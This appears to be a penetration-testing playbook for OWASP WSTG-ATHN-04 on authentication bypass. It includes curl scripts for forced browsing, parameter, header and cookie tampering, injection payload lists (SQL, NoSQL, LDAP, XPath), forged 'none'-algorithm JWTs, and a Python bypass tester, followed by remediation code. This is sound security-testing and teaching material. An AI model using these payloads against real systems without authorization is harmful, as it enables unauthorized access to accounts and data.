wstg-athn-04

name	wstg-athn-04
description	Testing for Bypassing Authentication Schema
category	authentication
owasp_id	WSTG-ATHN-04
version	1.0.0
author	cyberstrike-official
tags	["authentication","login","credentials","mfa","wstg","athn"]
tech_stack	[]
cwe_ids	["CWE-307"]
chains_with	["wstg-athn-05","wstg-athn-02"]
prerequisites	["wstg-idnt-01"]
severity_boost	{}

wstg-athn-04

Test ID

WSTG-ATHN-04

Test Name

Testing for Bypassing Authentication Schema

High-Level Description

Authentication bypass testing examines whether an application's authentication controls can be circumvented. Attackers may exploit logic flaws, misconfigurations, or vulnerabilities to access protected resources without proper authentication. This test identifies weaknesses that allow unauthorized access by bypassing the normal authentication process.

---

What to Check

Bypass Techniques

• Direct page access
• Parameter manipulation
• Session prediction
• SQL injection in auth
• Forced browsing
• Authentication logic flaws
• Response manipulation

Common Vulnerabilities

Vulnerability	Description
Forced browsing	Direct URL access to protected pages
Parameter tampering	Modifying auth parameters
Cookie manipulation	Changing session/auth cookies
SQL injection	Auth bypass via SQLi
JWT manipulation	Token tampering

---

How to Test

Step 1: Test Direct Page Access

#!/bin/bash
# Test accessing protected pages without authentication

protected_pages=(
    "/admin"
    "/dashboard"
    "/user/profile"
    "/api/users"
    "/settings"
    "/internal"
    "/management"
    "/admin/users"
)

for page in "${protected_pages[@]}"; do
    response=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$page")
    echo "$page: $response"

    # Should be 401 or 403, not 200
    if [ "$response" == "200" ]; then
        echo "  [VULN] Page accessible without authentication!"
    fi
done

Step 2: Test Authentication Parameter Manipulation

# Test manipulating authentication-related parameters

# Test with isLoggedIn parameter
curl -s "https://target.com/dashboard?isLoggedIn=true"
curl -s "https://target.com/dashboard?authenticated=1"
curl -s "https://target.com/dashboard?auth=true"

# Test with user parameter
curl -s "https://target.com/dashboard?user=admin"
curl -s "https://target.com/dashboard?userId=1"
curl -s "https://target.com/dashboard?role=admin"

# Test with header manipulation
curl -s "https://target.com/admin" \
    -H "X-User: admin"

curl -s "https://target.com/admin" \
    -H "X-Authenticated: true"

curl -s "https://target.com/admin" \
    -H "X-Forwarded-User: admin"

Step 3: Test Cookie Manipulation

# Test manipulating session/auth cookies

# Test with fake session cookie
curl -s "https://target.com/dashboard" \
    -H "Cookie: session=admin"

curl -s "https://target.com/dashboard" \
    -H "Cookie: auth=true; user=admin"

curl -s "https://target.com/dashboard" \
    -H "Cookie: isLoggedIn=1; role=administrator"

# Test with base64 encoded values
admin_b64=$(echo -n "admin" | base64)
curl -s "https://target.com/dashboard" \
    -H "Cookie: user=$admin_b64"

Step 4: Test SQL Injection in Authentication

# Test SQL injection in login form

# Basic SQLi payloads
payloads=(
    "admin'--"
    "admin' OR '1'='1"
    "admin' OR '1'='1'--"
    "admin' OR '1'='1'/*"
    "' OR 1=1--"
    "' OR 1=1#"
    "admin')--"
    "' OR ''='"
)

for payload in "${payloads[@]}"; do
    response=$(curl -s -X POST "https://target.com/login" \
        -H "Content-Type: application/json" \
        -d "{\"username\":\"$payload\",\"password\":\"anything\"}")

    # Check for successful login indicators
    if echo "$response" | grep -qi "success\|token\|dashboard"; then
        echo "[VULN] SQLi bypass with: $payload"
    fi
done

Step 5: Test JWT Manipulation

# If application uses JWT

# Get a valid JWT
valid_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature"

# Test with 'none' algorithm
# Header: {"alg":"none","typ":"JWT"}
none_jwt="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ."

curl -s "https://target.com/api/protected" \
    -H "Authorization: Bearer $none_jwt"

# Test with modified payload
# Change user claim from "test" to "admin"
modified_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.invalid_signature"

curl -s "https://target.com/api/protected" \
    -H "Authorization: Bearer $modified_jwt"

# Test without signature
no_sig_jwt="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ."

curl -s "https://target.com/api/protected" \
    -H "Authorization: Bearer $no_sig_jwt"

Step 6: Test Response Manipulation

# Test if client-side checks can be bypassed

# Intercept a failed login response and check behavior
# Using Burp Suite or similar proxy:
# 1. Attempt login with wrong credentials
# 2. Intercept response
# 3. Change response from 401 to 200
# 4. Modify body to include success indicators
# 5. Check if application grants access

# This is typically done via proxy, but we can test client behavior:
curl -s "https://target.com/login" \
    -X POST \
    -d "username=admin&password=wrong" \
    -v 2>&1 | grep -i "location\|set-cookie\|redirect"

Step 7: Test Alternative Authentication Methods

# Test if other authentication methods can be bypassed

# OAuth state parameter
curl -s "https://target.com/oauth/callback?code=test&state=anything"

# SAML response manipulation
curl -s "https://target.com/saml/acs" \
    -X POST \
    -d "SAMLResponse=base64_encoded_forged_response"

# API key in different locations
curl -s "https://target.com/api/protected" \
    -H "Authorization: ApiKey test"

curl -s "https://target.com/api/protected?api_key=test"

curl -s "https://target.com/api/protected" \
    -H "X-API-Key: test"

---

Tools

Authentication Testing

Tool	Description	Usage
Burp Suite	Request manipulation	Intercept and modify
SQLMap	SQL injection	Auth bypass testing
jwt_tool	JWT testing	Token manipulation

Automation

Tool	Description
OWASP ZAP	Automated scanning
Nuclei	Template-based testing

---

Example Commands/Payloads

Authentication Bypass Payloads

# SQL Injection
admin'--
' OR 1=1--
' OR '1'='1
admin' OR '1'='1'--
') OR ('1'='1'--
admin'/*
" OR ""="
" OR 1=1--

# NoSQL Injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

# LDAP Injection
*
admin)(|(password=*))
*)(uid=*))(|(uid=*

# XPath Injection
' or '1'='1
' or ''='
x' or name()='username' or 'x'='y

Authentication Bypass Tester

#!/usr/bin/env python3
import requests
import json
import base64

class AuthBypassTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.results = []

    def test_direct_access(self, protected_urls):
        """Test direct access to protected resources"""
        print("[*] Testing direct page access...")

        for url in protected_urls:
            response = self.session.get(f"{self.base_url}{url}")

            if response.status_code == 200:
                self.results.append({
                    "test": "Direct Access",
                    "url": url,
                    "status": "VULNERABLE",
                    "details": f"Status code: {response.status_code}"
                })
            else:
                self.results.append({
                    "test": "Direct Access",
                    "url": url,
                    "status": "Protected",
                    "details": f"Status code: {response.status_code}"
                })

    def test_sql_injection(self, login_url, username_field="username", password_field="password"):
        """Test SQL injection in login"""
        print("[*] Testing SQL injection bypass...")

        sqli_payloads = [
            ("admin'--", "anything"),
            ("' OR '1'='1'--", "anything"),
            ("admin' OR '1'='1", "anything"),
            ("' OR 1=1--", "anything"),
            ("admin'/*", "anything"),
            ("' OR ''='", "' OR ''='"),
        ]

        for username, password in sqli_payloads:
            response = self.session.post(
                f"{self.base_url}{login_url}",
                data={username_field: username, password_field: password}
            )

            # Check for success indicators
            if response.status_code == 200 and any(
                x in response.text.lower()
                for x in ["dashboard", "welcome", "logout", "success"]
            ):
                self.results.append({
                    "test": "SQL Injection",
                    "payload": f"{username}:{password}",
                    "status": "VULNERABLE"
                })
                return

    def test_parameter_manipulation(self, protected_url):
        """Test authentication parameter manipulation"""
        print("[*] Testing parameter manipulation...")

        bypass_params = [
            {"isLoggedIn": "true"},
            {"authenticated": "1"},
            {"auth": "true"},
            {"user": "admin"},
            {"role": "admin"},
            {"admin": "true"},
        ]

        bypass_headers = [
            {"X-User": "admin"},
            {"X-Authenticated": "true"},
            {"X-Auth-User": "admin"},
            {"X-Forwarded-User": "admin"},
        ]

        for params in bypass_params:
            response = self.session.get(
                f"{self.base_url}{protected_url}",
                params=params
            )

            if response.status_code == 200:
                self.results.append({
                    "test": "Parameter Manipulation",
                    "params": params,
                    "status": "POTENTIALLY VULNERABLE"
                })

        for headers in bypass_headers:
            response = self.session.get(
                f"{self.base_url}{protected_url}",
                headers=headers
            )

            if response.status_code == 200:
                self.results.append({
                    "test": "Header Manipulation",
                    "headers": headers,
                    "status": "POTENTIALLY VULNERABLE"
                })

    def test_jwt_bypass(self, protected_url, valid_jwt=None):
        """Test JWT authentication bypass"""
        print("[*] Testing JWT bypass...")

        # None algorithm
        none_header = base64.urlsafe_b64encode(
            json.dumps({"alg": "none", "typ": "JWT"}).encode()
        ).decode().rstrip('=')

        admin_payload = base64.urlsafe_b64encode(
            json.dumps({"user": "admin", "role": "admin"}).encode()
        ).decode().rstrip('=')

        none_jwt = f"{none_header}.{admin_payload}."

        response = self.session.get(
            f"{self.base_url}{protected_url}",
            headers={"Authorization": f"Bearer {none_jwt}"}
        )

        if response.status_code == 200:
            self.results.append({
                "test": "JWT None Algorithm",
                "status": "VULNERABLE"
            })

    def generate_report(self):
        """Generate test report"""
        print("\n" + "=" * 50)
        print("AUTHENTICATION BYPASS TEST REPORT")
        print("=" * 50 + "\n")

        vulnerable = [r for r in self.results if "VULNERABLE" in r.get("status", "")]

        print(f"Total tests: {len(self.results)}")
        print(f"Potential vulnerabilities: {len(vulnerable)}\n")

        if vulnerable:
            print("VULNERABILITIES FOUND:")
            for v in vulnerable:
                print(f"\n  Test: {v['test']}")
                for key, value in v.items():
                    if key != "test":
                        print(f"    {key}: {value}")

# Usage
tester = AuthBypassTester("https://target.com")
tester.test_direct_access(["/admin", "/dashboard", "/api/users"])
tester.test_sql_injection("/login")
tester.test_parameter_manipulation("/dashboard")
tester.test_jwt_bypass("/api/protected")
tester.generate_report()

---

Remediation Guide

1. Implement Proper Access Control

from functools import wraps
from flask import g, redirect, url_for, request

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if not is_authenticated():
            return redirect(url_for('login', next=request.url))
        return f(*args, **kwargs)
    return decorated_function

def is_authenticated():
    """Server-side authentication check"""
    # Check session server-side
    session_id = request.cookies.get('session_id')

    if not session_id:
        return False

    # Validate session in database/cache
    session = Session.query.filter_by(
        id=session_id,
        is_valid=True
    ).first()

    if not session or session.is_expired():
        return False

    g.current_user = session.user
    return True

@app.route('/admin')
@login_required
def admin():
    return render_template('admin.html')

2. Prevent SQL Injection

from sqlalchemy import text

def authenticate(username, password):
    """Secure authentication with parameterized queries"""

    # Never use string concatenation
    # BAD: f"SELECT * FROM users WHERE username='{username}'"

    # GOOD: Use parameterized queries
    user = User.query.filter_by(username=username).first()

    if user and user.check_password(password):
        return user

    return None

3. Secure JWT Implementation

import jwt
from datetime import datetime, timedelta

SECRET_KEY = os.environ.get('JWT_SECRET_KEY')
ALGORITHM = 'HS256'  # Never accept 'none'

def create_token(user_id):
    payload = {
        'user_id': user_id,
        'exp': datetime.utcnow() + timedelta(hours=1),
        'iat': datetime.utcnow()
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)

def verify_token(token):
    try:
        # Specify allowed algorithms explicitly
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM]  # Only allow HS256
        )
        return payload
    except jwt.ExpiredSignatureError:
        return None
    except jwt.InvalidTokenError:
        return None

4. Server-Side Authorization

@app.before_request
def check_authorization():
    """Centralized authorization check"""

    # Public endpoints
    public_paths = ['/login', '/register', '/public', '/static']

    if any(request.path.startswith(p) for p in public_paths):
        return

    # Check authentication
    if not is_authenticated():
        return jsonify({'error': 'Authentication required'}), 401

    # Check authorization
    if not is_authorized(g.current_user, request.path, request.method):
        return jsonify({'error': 'Access denied'}), 403

---

Risk Assessment

CVSS Score

Finding	CVSS	Severity
Complete auth bypass (SQLi)	9.8	Critical
Direct access to admin pages	9.8	Critical
JWT none algorithm accepted	9.8	Critical
Parameter-based bypass	8.8	High
Cookie manipulation bypass	8.8	High

---

CWE Categories

CWE ID	Title	Description
CWE-287	Improper Authentication	Auth bypass
CWE-89	SQL Injection	SQLi in auth
CWE-639	Authorization Bypass	Access control bypass
CWE-347	Improper Verification of Cryptographic Signature	JWT bypass

---

References

• OWASP WSTG - Testing for Bypassing Authentication Schema
• OWASP Testing for SQL Injection
• JWT Security Best Practices

---

Checklist

[ ] Direct page access tested
[ ] Parameter manipulation tested
[ ] Cookie manipulation tested
[ ] SQL injection in login tested
[ ] NoSQL injection tested
[ ] JWT manipulation tested
[ ] Response manipulation tested
[ ] Alternative auth methods tested
[ ] Session handling tested
[ ] Authorization bypass tested
[ ] Findings documented
[ ] Remediation recommendations provided